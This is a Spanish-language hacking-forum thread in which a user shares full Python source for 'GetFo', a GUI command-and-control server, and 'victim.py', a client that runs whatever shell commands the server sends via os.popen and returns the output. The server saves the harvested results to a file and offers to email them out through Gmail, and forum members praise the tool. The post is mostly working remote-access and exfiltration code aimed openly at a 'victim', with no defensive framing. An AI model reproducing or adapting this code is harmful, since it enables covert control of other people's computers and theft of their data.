Underc0de

Programación Scripting => Python => Mensaje iniciado por: Sajuuk en Abril 27, 2015, 08:52:38 AM

Título: [v2.0/GUI] GetFo
Publicado por: Sajuuk en Abril 27, 2015, 08:52:38 AM
I'm back.  8)
(No sé si es "legal" abrir este post, ya que es una actualización de mi anterior aporte, pero como se le añadió algo tan "grande" como una GUI, pues decidí abrirlo  :o)

Si algo le faltaba a getfo.py, era una bonita y simple GUI.  ;D

El funcionamiento es el mismo, abrimos un servidor, lo ponemos a escuchar, acepta una conexión (victima), envia comandos, los recibe, los guarda en un archivo de texto plano, y nos dá la opción de poder enviarlo por correo (Gmail). Usé un poco del code de mis 2 anteriores aportes, para "acelerar el proceso de cocinado".

getfo.py :
Código (python) [Seleccionar]

from tkinter import *
from tkinter.messagebox import showinfo, showerror, askquestion
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os, sys, smtplib, socket, threading

class GUI(Tk):
    '''La ventana principal, main menu.'''
    def __init__(self):
        Tk.__init__(self)
        self.wm_iconbitmap('icono.ico')
        self.title("GetFo | A socket, a victim")
        self.resizable(0,0)
        self.config(bg="black")

        topimg = PhotoImage(file="mainimage.gif")
        t = Label(self, image=topimg, bg="black")
        t.image = topimg
        t.grid(row =0, column=0, padx=5,pady=5)
     
        Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
        Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
        Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)

        Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)

    '''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
    def toget(self):
        self.withdraw()
        Get()

    def toemail(self):
        self.withdraw()
        Email()

class Get(threading.Thread):
    '''Este es el servidor.
    Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
    def __init__(self):
        threading.Thread.__init__(self)
        try:
            self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socksv.bind(("127.0.0.1", 10327))
            showinfo("Info", "Server now listening on 127.0.0.1:10327")
        except socket.error as e:
            showerror("Sorry!", str(e))
            self.socksv.close()
            sys.exit(1)

        self.root = Toplevel()
        self.root.wm_iconbitmap('icono.ico')
        self.root.resizable(0,0)
        self.root.title("GetFo | Server")
        self.root.config(bg="black")

        topimg = PhotoImage(file="mainserver.gif")
        t = Label(self.root, image=topimg, bg="black")
        t.image = topimg
        t.grid(row=0, column=0)

        self.start()

    def run(self):
        '''start() comienza la ejecución del servidor
        Muestra un mensaje de espera, y procede a esperar una conexión entrante.
        '''
        ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
        self.socksv.listen(2)
        self.sc, self.addr = self.socksv.accept()

        ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
        self.cmds()

    def cmds(self):
        '''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
        vc = StringVar()

        f = Frame(self.root, bg="black")
        f.grid(row=2,column=0)
        c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
        self.cmd = Entry(f, textvariable=vc, width = 40)
        self.cmd.grid(row=0, column=1)

        Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
        Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)

    def ask(self):
        aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
        if aq == "yes":
            self.email()
        elif "no":
            self.exit_s()

    def send_cmd(self):
        '''Obtenemos el comando escrito, y lo enviamos al cliente.'''
        to_cmd = self.cmd.get()
        if to_cmd == "exit":
            self.sc.send(to_cmd.encode("utf-8"))
            self.sc.close()
            self.socksv.close()
            exit()

        self.sc.send(to_cmd.encode("utf-8"))
        self.recv_ans()

    def recv_ans(self):
        '''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
        rec = self.sc.recv(2048)
        txt = rec.decode("utf-8")
        if os.path.exists("data.txt"):
            with open("data.txt", "a") as f:
                f.write(txt + "\n\n")
        else:
            with open("data.txt", "w") as f:
                f.write(txt + "\n\n")
        showinfo("Success!", "Data received and saved on 'data.txt'")
        self.cmds()

    def exit_s(self):
        self.sc.send("exit".encode("utf-8"))
        self.sc.close()
        self.socksv.close()
        exit()

    def email(self):
        self.root.withdraw()
        Email()

class Email():
    '''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
    def __init__(self):
        try:
            self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
        except Exception as e:
            showerror("Fatal Error", str(e))
            exit()
        self.GW = Toplevel()
        self.GW.wm_iconbitmap('icono.ico')
        self.GW.resizable(0,0)
        self.GW.title("GetFo | Gmail Loggin")
        self.GW.config(bg="black")

        topim = PhotoImage(file="header-gmail.gif")
        r = Label(self.GW, image=topim, bg="black")
        r.image = topim
        r.pack()
       
        me = StringVar()
        mp = StringVar()
        Frame_User = Frame(self.GW, bg="black")
        Frame_User.pack()

        Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
        self.my_email = Entry(Frame_User, textvariable=me, width = 25)
        self.my_email.pack(side=RIGHT)
   
        Frame_Pass = Frame(self.GW, bg="black")
        Frame_Pass.pack()

        Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
        self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
        self.my_passw.pack(side=RIGHT)

        self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
        self.email_button.pack(fill=X)

        salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
        salir.pack(fill=X)

    def login_gmail(self):
        '''login_gmail() recibe nuestros datos, e intenta loguearnos'''
        account = self.my_email.get()
        self.password = self.my_passw.get()
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(account, self.password)
            showinfo("Success", "You are now logged in Gmail.")
        except:
            showerror("Error", "Unable to login into %s." % account)
            exit()
        gmail = self.gmail
        newEmail(gmail, account)
        self.GW.withdraw()

class newEmail(Email):
    ''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
    def __init__(self, gmail, account):
        ne = Toplevel()
        ne.wm_iconbitmap('icono.ico')
        ne.resizable(0,0)
        ne.title("GetFo | New Email")
        ne.config(bg="black")
        self.gmail = gmail
        self.email = account

        topim = PhotoImage(file="sending_info.gif")
        r = Label(ne, image=topim, bg="black")
        r.image = topim
        r.grid()
   
        et = StringVar()
        es = StringVar()
       
        LE = Frame(ne, bg="black")
        LE.grid(row=1, column=0)

        Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
        Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)

        Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
        self.email_to = Entry(LE, textvariable=et, width = 35)
        self.email_to.grid(row = 2, column = 1, sticky=E)
   
        Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
        self.email_subject = Entry(LE, textvariable=es, width = 35)
        self.email_subject.grid(row = 3, column = 1, sticky=E)
   
        Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
        self.email_msg = Text(LE, width = 35, height = 5)
        self.email_msg.grid(row = 4, column = 1, sticky=E)
   
        self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
        self.email_button.grid(row = 2, column = 0, sticky=NSEW)
       
        salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
        salir.grid(row = 3, column = 0, sticky=NSEW)

    def sendEmail(self):
        '''Se obtienen los datos de los campos.'''
        self.to = self.email_to.get()
        self.subject = self.email_subject.get()
        self.msg = self.email_msg.get("1.0", END)

        # Ahora añadiremos el archivo al cuerpo del mensaje
        msg = MIMEMultipart('alternative')
        msg['Subject'] = self.subject
        msg['From'] = self.email
        body = self.msg

        filename = "data.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        try:
            self.gmail.sendmail(self.email, self.to, msg.as_string())
            showinfo("Completed","Email sent successfully to %s" % self.to)
            exit()
        except Exception as e:
            showerror("Error", str(e))
            exit()

GUI().mainloop()


victim.py :
Código (python) [Seleccionar]

import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10327))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            cmd = re.decode("utf-8")
            if cmd == "exit":
                print("\n[...] Exiting")
                exit()
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()


Fotocapturas:
(http://i57.tinypic.com/3029nb7.png)


(http://i57.tinypic.com/359bn8n.png)


(http://i62.tinypic.com/25utcnl.png)


(http://i57.tinypic.com/2chp210.png)





El código fuente de los 2 archivos, así como las imagenes usadas están dentro de un archivo .rar: https://mega.co.nz/#!mggHgYLJ!Mpu0UJFWZY7L4hRN_FCa2jzm_xdXN8D0c173GW2CaNE (https://mega.co.nz/#!mggHgYLJ!Mpu0UJFWZY7L4hRN_FCa2jzm_xdXN8D0c173GW2CaNE)



Críticas y opiniones son bienvenidos.

Saludos!
Título: Re:[v2.0/GUI] GetFo
Publicado por: ANTRAX en Abril 27, 2015, 09:02:10 AM
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!

Saludos y sigue así!

ANTRAX
Título: Re:[v2.0/GUI] GetFo
Publicado por: WhiZ en Abril 27, 2015, 11:06:56 AM
Excelente Barlan! Te ha quedado muy bien!

Muchas gracias por compartír! Seguí así!
+1

Saludos!
WhiZ
Título: Re:[v2.0/GUI] GetFo
Publicado por: Sajuuk en Abril 27, 2015, 12:39:25 PM
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!

Saludos y sigue así!

ANTRAX

Gracias ANTRAX!  :D
Ojalá y los nuevos users se animen a postear sus aportes, me emociona ver lineas de código que no entiendo.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Excelente Barlan! Te ha quedado muy bien!

Muchas gracias por compartír! Seguí así!
+1

Saludos!
WhiZ

Gracias WhiZ!  ;D